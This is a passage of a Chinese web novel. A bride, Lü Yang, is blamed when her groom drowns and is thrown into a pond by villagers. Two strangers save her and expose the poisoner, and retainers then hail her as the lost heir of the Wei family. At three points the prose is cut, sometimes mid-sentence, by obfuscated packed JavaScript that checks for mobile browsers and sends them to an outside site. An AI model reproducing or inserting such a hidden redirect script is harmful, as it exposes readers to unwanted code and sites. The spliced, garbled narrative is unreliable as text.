说来也奇怪,没上岸前被拖着扶着的王二牛还有意识能咳嗽几声,上岸之后竟全然昏死过去,怎么也叫不醒。 跑得快的去叫村里的赤脚医生,可再一探,竟已经没气了。王家人围着儿子哭得天昏地暗,尤其是王二牛的母亲,哭声凄厉哀怨,旁人都听得不忍。 悲剧发生得太快,在花轿里还没坐稳的吕央走出来掀起盖头,呆愣地看着眼前的一切。 那地上已经了无生息的人,原本该是她丈夫。 她面无表情的模样好似在冷眼旁观,与自己无关,那张漂亮的脸愈发妖艳,刺痛了刚刚丧子的王父。 “都是你这个贱人!”王父朝她怒吼着,冷不丁把吕央吓了一跳。 紧接着男人便跪地仰天长啸:“老天爷啊,怎么偏生跟我们二牛过不去,特地派这个妖女来索命!” “王三铁你什么意思!”赵婶娘将吕央护到身后,“出事了你不怪驴发狂,你倒来怪罪小姑娘!?” “我家驴平日乖得很,怎么就今天刚好发狂?而且还专门栽到水塘子里面?这贱丫头之前克的几个不也是差点遭水害死!可怜我的儿……就这样被妖女夺了命哇!” 王家人悲痛欲绝的控诉让周围人都心疼不已,尤其又扯起那几桩陈年旧事,对吕央更是议论纷纷。以前没真出人命还好,现在王家小子死了,这要怎么交代! 最后不知是谁先喊了一句要妖女偿命,王父顿时来了劲,招呼着人要把吕央摁住。 “你们要干什么!”吕晋安环顾四周,村民竟将他们团团围住,他双拳难敌四手想好好讲道理:“诸位先听我说,这事肯定有误会……” “你个死秀才别想骗人!”王父厉声打断,和几个大汉将手无缚鸡之力的吕晋安按在了地上。 “晋安!” “哥!” 吕央和赵婶娘异口同声地喊,婶娘气红了眼,见那些人还要上前,当即抓起稻叉挥舞:“谁敢过来我跟谁拼命!” 铁稻叉锐利,赵婶娘又是转着圈地狂甩,村民一时害怕纷纷后退不敢上前,局面僵持不下。 “快把晋安松开!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208040|181331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 吕央也摘下自己的簪子握在手里,死死瞪着恨不得杀她而后快的王父。 “赵寡妇,你不交出吕央,你这双儿女还要不要了!” 王家的叔叔冷声威胁,赵婶娘看到他抓住的小女孩,顿时如同棍棒砸头般眩晕无力。 “娘!别管我们!” 吕向遥即便被拽住头发痛得直流泪,可还是最担心姐姐吕央。 赵婶娘心里慌乱一瞬,可也就是这短短一瞬之间,瞅准时机的王家人上前夺过稻叉摁住了赵婶娘。 赵婶娘干惯农活力气大,也是村子里数一数二有脾气的女人,可在这么多人面前,她曾经傲然的指甲拳头都不管用了。她只能绝望大喊:“阿央,快跑呀!你们这帮疯子,别伤害阿央!” 可村民一开始就把她们围住了,吕央又能往哪儿逃呢。 眼看着人群越来越近,圈越来越小,少女眼神凌厉决绝地将簪子举在面前:“谁敢过来,我就捅瞎谁的眼睛。” “你这该死的贱蹄子!”王父恨意熏心,先一步上前想抢下她手里的簪子,吕央也不是吃醋的,在男人的尖叫中戳爆了他一边眼珠子。 村民们这下都吓傻了,只有王父捂住瞎眼倒在地上痛苦嚎叫。 旁人害怕王家人却更加愤怒,几个年轻的小伙多面夹击,吕央刚要扎前面的人身后就会有人贴上来,吓得她立马背过去狂刺。 那几人虽谨慎手臂上也挂了彩,看似没有进展,但已经把吕央耗得头晕眼花。 吕央心快吊到了嗓子眼,只能不停地转圈也不敢让自己懈怠,眼前的一个青年忽然大步上前丝毫不怕被捅眼睛,吕央刚要出手,心跳忽然骤停。 身后的男人比她更快,死死地制住了她的手臂。 “放开我!” 吕央拼命地挣扎,身后人困住了她的手臂上身,其余几人趁机抱着她的脚踝大腿把她整个人都抬了起来。 没了发力点,所有的动作都如同毛毛雨,起不了任何效果。她像搁浅的鱼,准备被搬上砧板任人宰割。 瞎眼王父也被人扶了起来,又怒又得意的指挥着:“把她给我扔进那水塘里淹死!” “淹死!” “淹死她……” 村民义愤填膺,仿佛是在绞杀什么千古罪人。狂呼的人群之外,赵婶娘她们被人摁着只能眼睁睁看着他们的恶行,哭得快要喘不上气。 吕央只觉得心如死灰,几个时辰前,她还做着平淡生活的美梦,现在却成了人人喊打的妖女,而且将要丧命于此。 明明这些事和她无关,却能怪到她的头上! 今日的这些畜生她都一一记住了,她吕央就算死了也不会放过他们! 随着一声扑通,池塘溅起巨大水花。周遭忽然安静下来,冰冷的池水裹满了吕央全身,她听不见也看不见。 吕央水性不算太好但能保证不沉下去,可她刚冒出水面便看到了更绝望的画面。 村民们围满了水塘边上的位置,根本不打算让她有上去的机会。更有甚者还捡起石头往她身上砸,为了躲避她只能主动沉入水中。 惊惧加上疲惫,吕央觉得自己的身体越来越重,几乎不能再控制。 石头砸到身上好痛,呛水好难受,这里好冷,好冷…… 不行! 吕央咬着牙猛地摇头,她决定不能这么轻易死掉。 “通通给我住手!” 快马急停的嘶鸣声打断了村民的“狂欢”,王父看着那俩明显是外乡人的面孔,怒从心起:“你们是谁?瞎管什么闲事!” 屈嫱懒得同他们废话,立马扬起前蹄又重重落下,似乎在告诉众人再不让开就等着被踏死在马下。 赵婶娘像是看到了希望,急忙对着异乡人求道:“好心人你们快救救我们阿央!” 公冶慎当即翻身下马,王家人还想上前拦他,却被男人拔出的长剑吓得顿在原地。那剑锋锐利,他们实在不敢冒险,纷纷给他让出一条路。 “处理一下。” 公冶慎将剑抛给屈嫱,草草吩咐了一句后便毫不犹豫的纵身跳进了水塘。 池塘底水草丛生,吕央几乎分不出是现实还是梦境,只觉得浑身越来越轻。她的意志还在努力爬出水面,身子却缓缓滑下去。 少女不知是不是自己临死前的幻觉,好像看见了有什么东西在向自己靠近。 几乎是刹那间,一股力量托住了她下坠的身体,连带着她整个人浮出了水面。 “咳咳咳……” 久违地呼吸到新鲜的空气,吕央接连喘了几大口气,胸口边咳嗽边剧烈起伏,劫后余生的恐惧让她下意识地抱紧了支撑着她的东西。 且慢……她正抱着什么东西? 吕央猛地转过头,愕然愣在原地。 4. 美救英雌 吕央一直知道自己是个喜欢美男的主儿,不然也不会在众多求亲者里选中头脑空空的王二牛。 而面前的青年单论容貌,至少胜过王二牛百倍。 吕央见到他才理解为什么书上说美人面如出水芙蓉,艳而不妖。湿透的青丝被他伸手朝脑后拢去露出那张精致俊美的脸,水珠缓缓沿着冷白的肌肤下滑,滴在水面上荡起微小涟漪。 公冶慎的目光亦离不开少女微蹙的眉眼,那倔强但清澈的眼眸里藏不住什么情绪,被他看得一清二楚。 吕央只觉得美男忽然靠她好近,而且为什么他还在对她笑? 不知道是不是吕央的错觉,总觉得美人一直用含情脉脉的眼神盯着她,搞得她后背发凉…… 也有可能纯粹是她湿透了觉得冷。 哎呀,她又在乱想什么!吕央猛地摇摇头,现在真不是欣赏美人的好时机,赶快上岸最要紧。 公冶慎见她偏开眼神,敛起笑容将人往自己怀里带了带:“抱紧我。” 说罢便往水塘边游去,岸上的王家人不肯放弃还想作妖,直接被屈嫱两手里握着的双剑吓退了。 屈嫱目如刀光寒厉:“谁不想要命的,可以继续往前。” 看得出眼前人不是善茬,前面起哄的村民连忙往后退开老远距离,生怕扯上自己。只剩王家人既不敢上去送命又怒气冲冲地想讨个说法。 “你们两个外乡人在这乱搞什么!”王奶奶花白的头发因为前面的缠斗变得松散凌乱,配上狰狞可怖的嘴脸活像个疯婆子,“我的乖孙被她克死了,她不偿命谁偿命!” 只见屈嫱冷眼睨过,一副丝毫不在意的模样,气得她倒在地上哭嚎起来:“哎呀我可怜的乖孙哟!白发人送黑发人啊哟哟哟……老婆子我活着有什么意思,干脆也一头撞死好了!” 吕央刚被那位素不相识的美人抱上了岸便立即从他身上蹦下来了。 其实她刚刚在水里就想说了,她能自己游回来,刚刚纯粹是因为被村民砸得看不清方向,还有一颗砸到了脑袋,所以她有点晕。 不过要不是美人及时出现,她可能确实得淹死了,所以还是道了句感谢。 还没等她问美人姓甚名谁为何出现在此来救她,旁边便响起刺耳的叫骂声: “吕央你这个小贱人!我孙儿尸骨未寒你还在勾搭男人!我说那外人怎么多管闲事,怕就是你的情夫吧!老天爷啊……你快收了这对奸夫□□吧!” “老八婆,还有力气哭丧就赶紧死去吧。正好和你孙子同一天埋了不用多花钱办两次席。” 吕央平常不开口骂人是懒得和他人一般计较,可这老婆子不仅骂她连带着把她救命恩人也骂了,吕央不打算憋着这口气,她就得用这老不死的方法恶心回去。 “还奸夫□□,我看你是说你自己吧!谁知道你儿子是不是和你那个早死的男人生的。你男人怕是到死都不知道你偷人给他戴绿帽的事儿吧?” 此话一出凑热闹的村民瞬间炸了锅,这点男女炕头的事儿最引人遐想,知情的不知情的都议论纷纷,争着讲自己扒出的“蛛丝马迹”。甚至已经开始认定王婆子是个为老不尊的老不羞。 本就瞎了一边眼的王父另一只眼也气得通红:“你胡说!我老娘啥时候偷过人!” 讥笑声和议论声就没停过,还有人顺势扯王父应该也在外偷吃,一家人凑了个□□淫子。 王家人脸上难看得很,和那些村民争反倒被说气急败坏,真是哑巴吃黄连,有苦说不出。 至于这些事儿到底有没有,吕央哪清楚。她就随口一说,反正在这村子里面,那些闲言碎语谁管是不是真的。 有人在乎过她吕央到底是不是真克夫? “你小小年纪乱说话,编排我一个老人家这档子事,你你你……你还要不要脸!” 吕央冷笑:“那你这个老不死还胡乱编排我一个小姑娘的清白,果然挺不要脸的。” 王老婆子被气得连话都说不出,简直要梗死过去。 吕央好心提醒王父:“还不叫大夫来看看你老娘,不过你这种拖着老娘抛头露面吵架的不孝子,老娘死了你才开心吧。” 方才被喊来给王二牛诊病的赤脚医生被招呼着去给王婆子把脉,王父因为气晕了也没能回吕央的话,由那几个小伙将他抬去休息。 一直伏在儿子尸首旁哭得天昏地暗的王母终于缓缓起身:“你们总得给俺儿一个说法吧?” 女人情绪还算稳定,只是眼睛死死盯着吕央:“俺儿不能这么白死!” “没人想让你的儿子白死,你说杀人偿命,可杀你儿子的人是我吗你就硬要索我的命!?” 幸得身边两位好心人的帮助,吕央终于能畅所欲言,“你男人说你家驴平日里最乖不会轻易发狂,那就去查查这驴到底是怎么回事儿啊。万一是吃错东西了呢,或者是有人故意下药了也不一定。” 王母沉默,周围人也尴尬地面面厮觑,他们方才被王父几句话就搞得上头,竟没想到这一茬。 “这是……这是在干嘛呀!” 一名个子矮小的中年男人急匆匆地赶过来,皮色黝黑满头大汗,正是这吕家村的村长。 他今日才接到县里来人上报,这两日有京城的贵人要到吕家村,他还没想好怎么招待贵客就听见小儿子急攘攘地报信,王家小儿娶媳妇娶出事来了。 “怎么闹出人命了!”村长拨开人群挤进去,一看地上躺着的直接傻了眼,“这是死了几个?” 这没头没尾的话硬把僵持严肃的气氛整搞笑了,王家人连忙解释王父王婆子没死,就是被吕央这贱丫头气晕了。 “村长!救人呐!” 赵婶娘竭力吐出嘴里被塞紧的抹布大喊,方才她骂得太脏被王家人强制堵了嘴,废了好大功夫终于吐出来了。 村长冷不防被吓一跳,这谁敢把赵寡妇给扣下了? “快快快,快把人放开呀!”村长现在真是人小头大了,这都是闹得哪门子破事呀。 “村长,您得给俺们娘几个一个说法!”赵婶娘扶起自己的一双儿女,边走向村长边怒目扫过那群摁她的人,“王家小子接亲,驴发狂连人带驴栽进了水塘里面,救上来没气了。这群畜生硬要扔我们阿央淹死来偿命,还把我们娘仨摁着欺负,这事儿您给不给我们做主!要不是那两位好心人救了阿央,只怕现在…呜呜呜……” 村长一听急了,忙怒斥王家人冲动,咋能不管三七二十一地把人扔水里,要是吕央真死了凭赵婶娘的性子她能告到知府里去! 这边王家人也是刚经历丧子之痛,村长一时犯了难。 “你先披上吧,别冻着。” 村长来了那些村民暂时不敢轻举妄动,屈嫱默默收起了长剑,思索片刻后脱下披风罩在了吕央身上。 她那身轻薄的嫁衣被水打湿后沾在身上,泡在水里太久整个人都在发抖,屈嫱动作轻柔,吕央忽然觉得身上一片温暖,下意识握住了女人的手。 习武之人的手掌布满老茧,虽粗糙但有力温热。屈嫱那张清秀脸上不苟言笑的表情看得吕央心跳耳热,好帅气的女子…… “多……多谢。” “不必。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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在旁收到母亲眼神命令的吕向遥飞快地跑进柴房:“我去烧水!” 吕央身上的确难受得很,闻言心中感动不已,刚忍不住想抱婶娘又想起自己身上湿乎乎的只好作罢先回屋了。 守在母亲身边的吕晋安余光扫见角落里并肩站着的两人,先是仔细扶正自己的发冠后又拍拍衣摆上的灰尘,这才礼貌地拱手上前:“多谢两位恩公方才出手相救。” 公冶慎躬身点头,微微笑以表回应,眼睛飞快地打量了一遍眼前青年,吕晋安,礼数周全不卑不亢,的确跟情报上说的一样是个斯文书生。 赵婶娘也围过来,热情又真挚地感谢:“多谢多谢啊!真是幸好有你们这样的好心人来帮我们阿央了……我们家没什么值钱东西,两位恩公今晚留下吃饭吧,我一定好好招待!” 公冶慎同屈嫱相视一眼,看得出来这婶娘对少君挺上心的,现在告知真相怕是要给人泼上一盆冷水,所以他俩都更希望对方来开口坦白。 吕晋安看他俩欲言又止,拉住了自己的母亲:“娘,咱们还没问过人家路过是干嘛的,万一人家待会儿有事呢?” 这么热络地贸然邀约反倒让人家不知所措了。 “哦!对!你看娘都高兴糊涂了。”赵婶娘拍拍自己不灵光的脑瓜子,吕晋安试探道:“还不知道两位恩公姓名,是要来吕家村办什么事吗?” 对面既问了,公冶慎也不打算藏着掖着,长痛不如短痛,横竖他们是要接回少君的。 “在下是上华城卫家的……” “找到了!找到了!”几个毛头小子急躁的呼喊声打断公冶慎到了嘴边的话,将在场所有人的注意力都引了过去。 5. 平息风波(掉马打脸) 王家人拿回来了驴棚食槽里剩余的草,王母一把夺过来闻了闻,原本还存着一丝丝侥幸的心顿时如坠冰窟。 她整个人跌坐在地,村长深情严肃:“这就是金乌草,你们咋能给驴吃这个!” 悠悠转醒的王父听见村长这么说直呼不可能,气咧咧地抢过那把草,可打眼一看他就知道这不是普通青草。 “谁!谁把俺家草料换成这个了!”王父原地咆哮着狂怒,“是谁故意下毒害死我儿!” 王母哭得直拍自己大腿,糊涂哇糊涂,怎么会没注意食槽里的草料被人换了。 “今早出来接亲前刚喂过一次,老子亲自喂的,肯定有哪个龟孙跑进来偷偷换了。” 当时人那么多,鱼龙混杂难以确定,不过也正因人多说不定就有人正好看见。 果不其然,人群中很快有了声音。 “诶,我今早好像看见瓜娃子鬼鬼祟祟地从王家驴棚跑出来了。” “你这么说我也记起来,那小子今早在王家说是来帮忙的,可没一会儿就扯谎开溜了。” “我跟他一起去的,的确记得他怀里鼓鼓囊囊的有东西!” 众人三言两语拼凑出始作俑者的作案过程,王父怎么能咽下这口气,拉着亲戚就说要去把那小子抓过来问个清楚。 吕央此时恰好已经换完衣服从屋里走出门外,见人群忽然一阵喧闹起来忍不住皱眉:“这是怎么了?” 赵婶娘挽住她的手臂:“说给驴吃金乌草的人找到了,是村东的瓜娃子。” 瓜娃子大名李耀山,也是村东老李家的大儿子,年龄和吕央差不多一边大,她就和那人打过几次照面,每次他都对着自己笑眯眯的。吕央觉得这家伙可能脑子有问题故而一直没同他说过什么话。 也不知道李耀山和王二牛之间有什么仇什么怨,让李耀山要这样报复他。 说起王二牛,吕央的目光便不自觉落到那具已经被裹上白布的尸体上。 活生生的人就在自己面前骤然死去,死的不是别人还正好是将和她拜堂成亲的未婚夫,吕央迟来的感到阵阵后怕。 人命太轻微,不知道什么时候就会莫名其妙死掉。 就连她自己不也是险些丧命池水中吗。 吕央捂住胸口不再回忆那些绝望无力的瞬间,至少这一刻她还好好地活着。虽然对王二牛没什么感情,加上他家人这一通胡闹又把吕央弄得身心俱疲,但他毕竟死于非命能找出真凶也是好的。 言出法随,吕家村地界不大村东也没多远,王家人很快就把李耀山拖到了赵婶娘家门外只不过后面还跟着哭喊的李家父母。 “你们姓王的作甚呀!干嘛污蔑我儿子!我儿子没杀人!你们儿子死了还想拉我儿下水!” 李家父母喊得撕心裂肺,外头吵哄哄的乱作一团,人群围着六神无主眼神呆滞的李耀山,心虚懊悔都写在脸上了,这模样要说他真无辜,长了眼睛的都不会信。 王母冲上前揪住李耀山的衣领死命晃他,想让他说几句话:“你干嘛要害死我们牛牛!二牛惹你什么了!” 李母狠狠掐住王母的手腕,一点都不打算让步:“你别在这儿乱说!你儿子死了关我儿子什么事!” 两位母亲扯着头发揪着手背扭打成一团,好在围观的一些妇人看不下去上前拉开了两人,王母哭得喘不过气:“让你儿子自己说,他都干了什么!让他看着二牛说!” 李耀山眼神扫过那具苍白乌青的尸体,吓得直摇头,巨大的懊悔和恐惧瞬间压垮了他,他简直泣不成声:“我不是有意害死他的……我没想杀他!我……我是放了金乌草,但分量那么少,没想到就被驴吃到了……” 吕央冷眼旁观,只怕李耀山还是说轻了,金乌草味道不好驴怎么可能主动去吃,他自己喂到嘴边的还差不多。 不过到底是不是真心想害死王二牛,这就不好说了。 听见李耀山供认不讳,村民又开始义愤填膺了,喊着要给王家小子报仇,还人家公道。只有李家父母恨铁不成钢地打着自家孩子:“你干啥呀!你作甚要去害人命去啊!” 李耀山这时候是真的怕了,他疯狂摇头,又对着王家人跪跪拜拜:“我真不是为了杀二牛,我就是……就是想和他开个玩笑。我就是想让他在接亲路上驴发狂让他出出丑,我没想到驴会带着他栽进水塘子里面呀!” 从概率上来说,驴就算吃了金乌草也很难估算具体发病的时间,李耀山没那么聪明,计谋也不可能如此缜密,在这一点上应该没有骗人,只是没想到一切都偏偏凑了巧。 吕央本是在人群外远远地看这一出闹剧,没想到战火离奇地又烧到了自己身上。 “都是因为她!”李耀山猛地抬起头,红肿的眼睛死死盯着什么也没干的吕央,“就是她,明明我对她也有意,她却选了王二牛!我就是气不过,想让他出出糗,让你们这桩婚闹些别扭最好。谁成想……” 说罢,他好像十分悔恨似的反复摇头,把吕央看得一脸懵。 这又跟她扯上什么关系? 再说李耀山对她有意关她什么事,当初上门求亲的人里也没有他,吕央上哪儿知道他那些根本没见过光的深情啊。 吕央都懒得搭理他,李母却像是抓住什么救命稻草一般硬要把脏水往吕央身上泼:“都是这个狐狸精的错!她勾引我儿子,我儿子迷了心窍才干出这种蠢事的!我们家耀山是个好孩子,怎么可能故意去害人呢?” 李家人这话说得大言不惭倒打一耙,吕向遥人虽小脾气却是一等一地爆,不等姐姐娘亲开口便先骂回去了:“我阿姊认识你们这一家疯狗吗就来乱咬?长得好看被你看了没找你收钱就偷着乐吧,你们家是没有恭桶还是没夜壶,癞蛤蟆还想吃天鹅肉!” “向遥这丫头,说话就是太直了!”赵婶娘故作嗔怪,心里直赞赏小女儿的伶牙俐齿。 她转身阴阳怪气地掐起嗓子:“大伙说说是不是我记性不好呀?我怎么记得来咱家提亲的媒婆里没有你李家的呀?这话说的倒好像是我们阿央始乱终弃一样,不知道的还以为你追姑娘送金子还是送银子了,结果呀,连话都没说过一句!” 屈嫱双手环抱努力绷着脸不笑出来,最后还是没忍住:“这一家子嘴皮子个顶个的厉害。” 公冶慎颇为认同的点头:“是,我都得甘拜下风。” 屈嫱挑眉,不太相信写在了脸上:“复临君不是号称三寸不烂之舌、全上华无人能敌吗?居然还没交手就认输了。” “屈君此言差矣,这旁人说我嘴巴厉害,不过是抬举我嘴甜会耍点小聪明,吵架辩论我可真不擅长。” 公冶慎说罢眼波流转,一双狐狸目看向少女清丽挺拔的背影:“更何况,我作甚要跟少君比嘴皮子?” 争吵斗嘴有什么意思,他捧着她还来不及呢。 屈嫱自然能懂这死狐狸想走什么路线,十足是未来争着狐媚主上的奸臣贼子,就指望着她来唱红脸好让他唱遍白脸了。 她心中嗤笑两声,没再继续说下去。 吕央看着这群牛鬼蛇神在她面前群魔乱舞头疼得很:“既然真凶抓到了,你们就该商量怎么处置他。” 李耀山失控地大吼:“你这个女人怎么能如此冷血无情?” 他已然恼羞成怒怀恨在心,竟要挣脱控制扑向吕央,好在屈嫱反应迅速一脚将剑踢过去直接废了他的一只手。赵婶娘和吕晋安也下意识将吕央护在身后,不让李耀山再有靠近机会。 屈嫱在众人倒吸一口冷气的喘息声中干脆利落地拔出了自己的佩剑擦干净,公冶慎倍感遗憾道:“怎么竟捅些不死人的位置?” 后者冷冷回道:“你行你来。” 公冶慎便低声笑了笑,他虽然浑身湿透举手投间前面却是藏不住的贵气,一看就知道不是等闲之辈。 “难不成吕央这贱蹄子就一点问题都没有!?” 李母还不愿放弃,死也得拉个垫背的!她这话又把王家人的记忆牵扯出来,虽然他们没敢出声应和,却已经默默和李家站到了一起。 吕央简直气笑了:“我何罪之有?这俩人,一个不知道是发神经还是犯春梦明明是自己跑去害人又想污蔑我;还有一个倒霉催的,见驴发狂了也不知道跳下来,掉进水里面救上来还能呛水把自己呛死的。跟我有半分钱关系吗?” 这些话虽在家属们耳朵里难听,但句句都是大实话。明眼人都知道这些事儿跟吕央就是八竿子都打不着关系,实属无妄之灾。 “那,老王你们想怎么办?”村长终于发话,王父气冲冲地大喊:“怎么办?当然是报官,让这小子偿命!” 村长点点头:“的确只能这样了。” 李家人也知道这下真是无力回天了,哭的哭,骂街的骂街,甚至还在怨恨地瞪着吕央。 见风波看似已过,在场的几家人都要走了,吕央憋不下心里那口气:“等等,那方才那些欺辱我婶娘、哥哥和妹妹的人怎么处置?还有把我扔进水池里面的人,这是蓄意谋杀,不应该治罪吗?” 村长一听就急了,抓李耀山一个不算事儿,按吕央这么说这几十号人都得抓去报关,他这个村长还要脸不要了? 况且上头刚说了,这段时间有贵客要来,村子里闹得这么难堪,让贵人到时候怎么想嘛? “哎你这丫头怎么那么守死理,你现在不是没事儿吗?” “什么叫我“现在没事儿”,我方才差一点儿就死了。若不是好心人路过救了我,此刻在你面前的就会是另一具尸体。” 吕央据理力争,丝毫不肯退让,而王家人一看这妮子居然跟他们计较还要抓他们报官也是气得要再动手,反正村长这回儿都站在他们这边! “谁敢?” 屈嫱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208042|181331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的长剑不是摆设,他们也是见识过所谓刀剑无眼的道理,顿时哑了火。 公冶慎人看着笑眯眯,面色温和至极,嘴里吐出的字一个比一个冰冷:“若是不想见官,我们也可以出钱在这村子帮你们立上几十座坟,放心,这点钱我还是有的。” “还有你这个村长,我看也可以一并换掉。” “你你你!”村长吓得腿都软了,壮着胆子,“你们什么土匪流氓啊还敢杀人!你以为你们两个人很了不起吗!” 屈嫱微微转头活动脖颈,手上的长剑流利地挽了个剑花:“来试试?” 吕央被他二人护在身后,感动之余又难免有些疑惑。 这两位好心人到底是什么来头?又是为何愿意这么竭力地帮她呢? “爹!贵客来了!” 村长小儿子蹦蹦跳跳地闯进人群里,指着那边沿着土路朝这边过来的车队。 那车队里所有的马车都是由上好的寒檀木制成的,装饰织锦华绸、玉轮金穗,连随行侍从都清一色骑着棕黄色高头大马,好不气派。看这阵仗就知道,怕不是从上华城远道而来的。 村长心里又惊又喜,刚想跑上去迎接,又想起身后还有一堆乱摊子。 “各位,咱们就先把李家小子送官,剩下的等明天再过来解决,行吗?” “不行!” 吕央怎么看不出来村长是在打哈哈,别说明天,就是明年他也不会把这个事儿解决的。 他就是怕在贵客面前丢人,可吕央又不怕,她还想让那些个贵客也下来看看这热闹呢。 “我再重复一遍,要么把刚刚所有参与的人都送到官府,要么我替你们了断。” 有心虚害怕的村民们想跑,屈嫱看也不看地冷冷开口:“再动一步,直接死。” 村长真是没辙了,只能凑过去苦口婆心道:“你们这又是何必?咱们一帮贱民的小事儿你以为官府就乐意管嘛,他们恨不得没案子扰他们清闲呢。” 公冶慎点头:“原来如此。” 吕央却很执着:“县衙门不管我就告到知府去,知府不管我告到上华城天子那儿去!让全西京都知道你们这帮刁民什么嘴脸!” “其实忍忍就都过去了,你们一家不还得在咱们吕家村过日子吗?得罪大家有什么好处吗?” 眼看车队越来越近,怕是要直奔他们这边过来。村长急着吩咐村民把现场都处理一下,刚想动,屈嫱的剑就亮了出来:“我说了,敢动一步,我直接送他上路。” “姑奶奶们!祖宗们!你们是不是听不懂好赖话呀?要是得罪了贵人们,咱们都跑不了。” 吕央冷哼:“如果贵人们也和你们一样是非不分,我照样敢骂他们。” “大胆!” 村长气急败坏地指着她:“你就等死吧你!” 吕央昂着下巴不置可否,一旁的公冶慎望向她冷静凌厉的侧脸,眼中笑意更浓。 她身上有卫老太君的影子,若是老太太见到她肯定也欢喜得很。 吕央不会让自己输任何一句嘴:“你还是先担心担心自己吧。” 话虽这么说,她心里却也没什么底。 不知道那豪华车队里的贵人到底是来村子路作甚的,也不知道她们好不好说话…… 要是跟身旁的美人还要帅姐姐一样善良好心就好了…… 车队在吕家门口停下,村长提了一口气生怕贵人看到这乱糟糟的场景而烦心发怒。领头骑马的两位少年看着年纪不大,率先翻身下马朝他们走了回来。 “贵客远道而来……”村长挤出笑脸想迎上去却被那两名冷面的少年直接略过,径直走到方才那两个怪人的面前躬身行礼:“复临君、屈君,属下等来迟了,请责罚。” “你……你们是……”村长倒吸一口凉气,原来他们就是上头说的贵人,上华城四大家族卫家那两位大名鼎鼎的内君! 想到自己刚刚说了些什么蠢话,他恨不得抽死自己。 吕央鲜少在脸上出现呆滞的表情,她有些反应不过来局势的变化了。虽然不知道复临君和屈君是什么名头,但听起来好像都是大人物。 公冶慎没说什么,整个车队这么多人紧赶慢赶能在这会儿赶到已经算是神速了,屈嫱收起佩剑微微偏头:“还不快请安。” “什么?……哦!”常薛还在下意识发懵,下一秒便被哥哥常敷拉着跪了下来。 吕央大惊失色:“这是干什么?” 她要是没看错,这俩人是在跪她吧!? 常敷、常薛双手作揖扶到额头行了叩拜礼:“属下拜见少君大人。” “啊!” 吕央还没意识到这代表着什么,听见他们喊吕央少君的村长已经嘎巴一声晕死过去了。 只剩大脑一片混乱的吕央无意识后退两步——少君? 这都什么东西? 6. 身世真相 吕央只觉得脑子里“嗡”地一声,思绪亦在这一刻静止。她整个人定在原地动弹不得,只有微微收缩不停转动的瞳孔显得出少女有多吃惊。 同样讶然的赵婶娘微张着嘴巴左看右看,下意识扯了扯儿子的衣袖:“晋安呐……” 局面一时僵持不下,外头还围着一圈看热闹的村民,那些人七嘴八舌地讨论,吕央一句也听不进去,慌乱中视线看向同样注视着她的青年:“你……” 吕央欲言又止,脑子终于反应过来开口先让地上跪着的人起来:“你们快起来吧,我…我看你们是找错人了。” 常薛乐呵呵地摇头:“回少君,我们可没找错呢。” 少年刚想起身又被身旁冷脸的兄长一把拉住胳膊跌下去重新跪着了,他吃痛闷哼一声又不敢发作,那膝盖砸在地上的动作吕央看着都替他疼。 冷脸侍卫扶手作揖:“属下拜的是卫家少君,您就是少君。” 吕央彻底没辙了,怕这俩人要跪到地老天荒连忙道:“好,那本少君现在命令你们…赶紧起来!” “是!” 话音刚落,那俩人利落起身,没有半点拖泥带水,动作快得都带风了。 吕央嘴角抽搐,该说不说还挺听话的。 她认下这个名头是为了暂时把两座石像叫起来,刚想开口解释,两位恩公不知什么时候站在她面前,一左一右齐整地躬身行礼。 “拜见少君!” 吕央这下真的忍不了了:“停!你们在这儿演什么乱七八糟的呢?二位好心救我我很感激,但我姓吕名央,真的不是你们要找的什么少君!” 今天本来就烦心透了,老天爷一天到晚的到底上哪儿给她整出这么多破事来? 公冶慎对她发的脾气毫无波澜,非常理解:“我知道这件事对您来说一时半会儿的确难以理解,我们来的太晚太急,您生气是应该的。” 赵婶娘算是明白这些外乡人是来干嘛的,她忽然想起什么事情,面色变得也有些凝重:“既然这样,就先进屋吧。待会儿慢慢说。” “婶娘?” 赵婶娘忽如其来的平静让吕央倍感意外,那种表情她极少、几乎可以说从没在她脸上看见过。 公冶慎了然笑笑,点头答应下来:“好,但我得先回去换套衣服。还有这些人……” 他回头,和煦笑容依旧不减,像是在吩咐什么平常小事:“常敷,帮屈嫱君把这些与事的人都送到官府,好好处置。” “是。” 常敷领命后抬手吹了个口哨,车队后的侍从通通响应跑过来抓人了。 被众人哭天抢地喊冤的声音吵得耳痛,屈嫱不耐烦地拔出利剑威胁道:“再吵就地了结。” 此话出四周声音一下小了不少,而那些没参与的纷纷如劫后余生般赶忙逃回家去,此后余生都在庆幸今日没稀里糊涂地跟着搅进这趟浑水里面。 之前熙熙攘攘的人群逐渐散去,只有那奢侈华丽的车队依旧堵在门口。吕央心中混乱成一团乱麻,下意识地去看婶娘,后者却在对上她视线的那一刻飞快地撇开眼神。 婶娘的反应太过怪异,像极了是在心虚。 吕央心一沉:“婶娘,你是不是知道什么?” 方才她就觉得奇怪,那些人来得蹊跷说话也云里雾里的,就是她自己也不得不怀疑其中真伪,平日里最直率精明的婶娘反倒没有丝毫意外感觉地接受了。 